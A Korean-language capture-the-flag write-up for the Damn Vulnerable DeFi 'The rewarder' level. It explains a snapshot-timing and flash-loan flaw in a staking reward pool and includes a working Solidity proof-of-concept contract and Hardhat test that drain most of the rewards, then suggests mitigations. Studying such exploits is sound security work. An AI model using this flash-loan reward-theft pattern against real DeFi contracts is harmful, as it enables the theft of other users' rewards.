Damn Vulnerable DeFi-The rewarder
DeFi 취약점과 공격 방법을 익히기 위한 워게임 문제를 풀고 풀이를 정리했다. v3.0.0 문제를 대상으로 했다.
Summary
스테이킹하고 리워드를 받는 기능에서 Flashloan의 가능성을 고려하지 않아, 동일 트랜잭션에서 예치 후 리워드를 받아갈 수 있었다. 또한, 실제 balance를 이용하는 대신 Snapshot을 잘못 사용하여 계산이 맞지 않았다.
Keyword
flash loan, snapshot, staking, calculation, business logic error, DoS
Vulnerability
There’s a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it. Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards! You don’t have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself. By the way, rumours say a new pool has just launched. Isn’t it offering flash loans of DVT tokens?
코드는 AccountingToken(AT), RewardToken(RT), LiquidityToken(LT), FlashLoanerPool, TheRewarderPool 이 주어진다. AT, RT, LT는 모두 ERC20 토큰이다. LT는 FlashLoanerPool에서 대출받을 수 있는 토큰이다.
TheRewarderPool 에게는 AT와 RT를 mint, burn 할 자격이 주어진다. TheRewarderPool 에 LT를 예치하면 AT를 mint 하고, 출금하면 burn 하며 예치금과 교환한다. AT를 소유하고 있다면 리워드로, 소유한 AT 양에 비례하여 RT를 요청할 수 있다. 5일마다 주기가 넘어간다.
정리하자면, LT를 빌릴 수 있는 풀이 있고, LT를 예치하면 동일한 양의 AT, AT를 소유하면 리워드로 받는 RT 토큰이 있다. 이 때, 공격자 계정으로 대량의 RT를 받아내자.
다음은 RT를 정산하는 TheRewarderPool.distributeRewards 함수이다. 유저는 각 라운드 별로 1번만 RT를 요청할 수 있다. totalSupply와 현재 라운드의 amountDeposited 비율을 계산한다. 비율이 클수록 더 많은 RT를 받을 수 있다.
function distributeRewards() public returns (uint256 rewards) {
// @audit-info 라운드가 넘어가지 않는다면 스냅샷이 업데이트 되지 않음. 스냅샷 번호가 즉 라운드 번호.
// @audit-info 즉, lastSnapshotIdForRewards, lastRecordedSnapshotTimestamp, roundNumber는 라운드 넘어갈 시에만 업데이트
if (isNewRewardsRound()) {
_recordSnapshot();
}
// @audit totalSupplyAt 와 balanceOfAt 은 _beforeTokenTransfer 에서 설정된다. 즉, 변화가 일어난 직전 상태를 의미한다.
// @audit-issue mint/burn/transfer 한 뒤에도 balance 를 갖고 있는 것처럼 취급받을 수 있다. 왜냐하면 total은 mint/burn 하기 직전 값을 사용하기 때문
// @audit-issue 라운드가 업데이트되는 시점에는 스냅샷 데이터가 존재하지 않으므로, 스냅샷의 데이터가 아닌 실제 balance를 이용한다.
uint256 totalDeposits = accountingToken.totalSupplyAt(lastSnapshotIdForRewards);
uint256 amountDeposited = accountingToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);
// @audit 처음 deposit시 이전 balance가 0이라 리워드를 받지 않음. 동일 주기에 재요청 가능.
// @audit 라운드가 넘어가는 시점에는 실제 balance를 이용하므로 mint 시점에 받을 수 있다.
if (amountDeposited > 0 && totalDeposits > 0) {
// @audit-info 이번 주기 AT의 비율에 따라 RT를 받음
// @audit 한 주기당 REWARDS를 초과하여 mint 할 수도 있음. taotalDeposits 가 변동되기 때문.
// 이전 유저가 모두 받아간 상황에 새로운 유저가 입금한 상황을 생각해보자
rewards = amountDeposited.mulDiv(REWARDS, totalDeposits);
if (rewards > 0 && !_hasRetrievedReward(msg.sender)) {
rewardToken.mint(msg.sender, rewards);
// @audit 한 주기당 한 번만 받을 수 있음. 얼마나 오래 예치했느냐는 중요하지 않음
lastRewardTimestamps[msg.sender] = uint64(block.timestamp);
}
}
}여기에는 LT를 얼마나 오래 예치해야 한다는 조건이 존재하지 않는다. 즉, 순간적으로 많은 양의 LT를 예치한 후 리워드를 요청하면 많은 양의 RT를 받아낼 수 있을 것이다.
RT 계산에 관여하는 변수들에 대하여 자세히 살펴보자. accountingToken.totalSupplyAt(lastSnapshotIdForRewards) 와 accountingToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards) 를 이용하여 비율을 계산한다. 이들은 현재 Snapshot에서의 TotalBalance와 Balance를 의미하는 것으로 보인다.
function balanceOfAt(address account, uint256 snapshotId) public view virtual returns (uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]);
return snapshotted ? value : balanceOf(account);
}
function totalSupplyAt(uint256 snapshotId) public view virtual returns (uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnapshots);
return snapshotted ? value : totalSupply();
}
function _valueAt(uint256 snapshotId, Snapshots storage snapshots) private view returns (bool, uint256) {
require(snapshotId > 0, "ERC20Snapshot: id is 0");
require(snapshotId <= _getCurrentSnapshotId(), "ERC20Snapshot: nonexistent id");
uint256 index = snapshots.ids.findUpperBound(snapshotId);
if (index == snapshots.ids.length) {
return (false, 0);
} else {
return (true, snapshots.values[index]);
}
}정확히는 해당 Id의 스냅샷을 기록했다면 이를 리턴하고, 그렇지 않다면 ERC20의 totalSupply 나 balanceOf 를 리턴한다. 그렇다면 각 스냅샷에는 어떤 값이 어느 시점에 저장되는가? 이는 ERC20Snapshot._beforeTokenTransfer 에서 처리된다
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
if (from == address(0)) {
// mint
_updateAccountSnapshot(to);
_updateTotalSupplySnapshot();
} else if (to == address(0)) {
// burn
_updateAccountSnapshot(from);
_updateTotalSupplySnapshot();
} else {
// transfer
_updateAccountSnapshot(from);
_updateAccountSnapshot(to);
}
}
function _updateAccountSnapshot(address account) private {
_updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account));
}
function _updateTotalSupplySnapshot() private {
_updateSnapshot(_totalSupplySnapshots, totalSupply());
}
function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private {
uint256 currentId = _getCurrentSnapshotId();
if (_lastSnapshotId(snapshots.ids) < currentId) {
snapshots.ids.push(currentId);
snapshots.values.push(currentValue);
}
}여기서 주의할 점은 _beforeTokenTransfer는 totalSupply나 balance가 업데이트 되기 전에 호출된다는 점이다. 즉, mint 또는 burn하여 스냅샷에 기록되는 totalSupply 및 balance는 mint 또는 burn이 실행되기 직전의 totalSupply 및 balance이다.
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}즉, mint 또는 burn 하였다면, 스냅샷에는 직전의 Balance를 저장한다. TheRewarderPool.distributeRewards 에서는 직전의 Balance와 TotalBalance 이용하여 리워드를 분배한다. 이로 인해 withdraw 한 직후에는 TotalBalance 가 withdraw 이전 값으로 설정된다.
다만 여기에는 예외가 있다. 다시 TheRewarderPool.distributeRewards 를 살펴보자. 라운드가 넘어가는 순간의 경우 새 라운드에 대한 snapshot은 찍히지 않는다. 따라서 totalDeposits 와 amountDeposited 는 스냅샷의 값이 아닌 실제 totalSupply 와 amountDeposited 가 된다.
function distributeRewards() public returns (uint256 rewards) {
// @audit-info 라운드가 넘어가지 않는다면 스냅샷이 업데이트 되지 않음. 스냅샷 번호가 즉 라운드 번호.
// @audit-info 즉, lastSnapshotIdForRewards, lastRecordedSnapshotTimestamp, roundNumber는 라운드 넘어갈 시에만 업데이트
if (isNewRewardsRound()) {
_recordSnapshot();
}
// @audit totalSupplyAt 와 balanceOfAt 은 _beforeTokenTransfer 에서 설정된다. 즉, 변화가 일어난 직전 상태를 의미한다.
// @audit-issue mint/burn/transfer 한 뒤에도 balance 를 갖고 있는 것처럼 취급받을 수 있다. 왜냐하면 total은 mint/burn 하기 직전 값을 사용하기 때문
// @audit-issue 라운드가 업데이트되는 시점에는 스냅샷 데이터가 존재하지 않으므로, 스냅샷의 데이터가 아닌 실제 balance를 이용한다.
uint256 totalDeposits = accountingToken.totalSupplyAt(lastSnapshotIdForRewards);
uint256 amountDeposited = accountingToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);
// @audit 처음 deposit시 이전 balance가 0이라 리워드를 받지 않음. 동일 주기에 재요청 가능.
// @audit 라운드가 넘어가는 시점에는 실제 balance를 이용하므로 mint 시점에 받을 수 있다.
if (amountDeposited > 0 && totalDeposits > 0) {
// @audit-info 이번 주기 AT의 비율에 따라 RT를 받음
// @audit 한 주기당 REWARDS를 초과하여 mint 할 수도 있음. taotalDeposits 가 변동되기 때문.
// 이전 유저가 모두 받아간 상황에 새로운 유저가 입금한 상황을 생각해보자
rewards = amountDeposited.mulDiv(REWARDS, totalDeposits);
if (rewards > 0 && !_hasRetrievedReward(msg.sender)) {
rewardToken.mint(msg.sender, rewards);
// @audit 한 주기당 한 번만 받을 수 있음. 얼마나 오래 예치했느냐는 중요하지 않음
lastRewardTimestamps[msg.sender] = uint64(block.timestamp);
}
}
}결론적으로, 라운드가 넘어가는 순간에 Flashloan을 통해 다량의 LT를 빌려 TheRewarderPool 에 예치한다. 다량의 AT를 발행받아 AT의 totalSupply의 점유율을 차지하면 다량의 RT를 리워드로 받아낼 수 있다. 다시 LT를 withdarw하면 스냅샷에는 AT를 burn하기 직전의 totalSupply, 즉 매우 큰 수가 저장된다. 이는 다른 유저가 AT를 mint 또는 burn하기 전까지 유지된다. 이 상태에서 유저가 TheRewarderPool.distributeRewards 를 호출한다면 실제로 받아야 하는 몫보다 훨씬 작은 양의 RT를 받게 된다. 이로 인해 DoS의 효과도 줄 수 있다.
다음은 PoC 이다.
import "./TheRewarderPool.sol";
import "./FlashLoanerPool.sol";
import "../DamnValuableToken.sol";
contract TheRewarderPoc {
address owner;
TheRewarderPool rewarderPool;
FlashLoanerPool flashloanerPool;
DamnValuableToken liquidityToken;
RewardToken rewardToken;
constructor(TheRewarderPool _rewarderPool, FlashLoanerPool _flashloanerPool){
owner = msg.sender;
rewarderPool = _rewarderPool;
flashloanerPool = _flashloanerPool;
liquidityToken = flashloanerPool.liquidityToken();
rewardToken = rewarderPool.rewardToken();
}
function exploit(uint256 _amount) public {
require(msg.sender == owner, "not from owner");
// round의 경계에서 실행
require(rewarderPool.isNewRewardsRound(), "not isNewRewardsRound");
flashloanerPool.flashLoan(_amount);
}
function receiveFlashLoan(uint256 _amount) public {
require(msg.sender == address(flashloanerPool), "not from flashloanerPool");
liquidityToken.approve(address(rewarderPool), _amount);
// 이 시점에서 라운드 업데이트
rewarderPool.deposit(_amount);
// 이전 mint 시점의 total과 account balance로 snapshot 찍음
rewarderPool.withdraw(_amount);
rewardToken.transfer(owner, rewardToken.balanceOf(address(this)));
liquidityToken.transfer(address(flashloanerPool), _amount);
}
} it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
const TheRewarderPocFactory = await ethers.getContractFactory('TheRewarderPoc', player);
const poc = await TheRewarderPocFactory.deploy(rewarderPool.address, flashLoanPool.address);
await poc.exploit(TOKENS_IN_LENDER_POOL);
});Impact
원래 의도한 것보다 많은 양의 리워드를 받아간다. 다른 유저들은 원래 받아야하는 양보다 적은 양의 리워드를 받게 된다.
Mitigation
비즈니스 로직에 스테이킹에 기간에 대한 요구사항을 추가하거나, 주기가 넘어가는 시점에 deposit한 경우 바로 리워드를 주지 않도록 수정한다. Flash loan에 대한 대비를 한다. Snapshot 대신 실제 balance를 이용한다.
tags: writeup, blockchain, solidity, smart contract, erc20, flashloan, crypto theft, snapshot, staking, business-logic-vul, dos, defi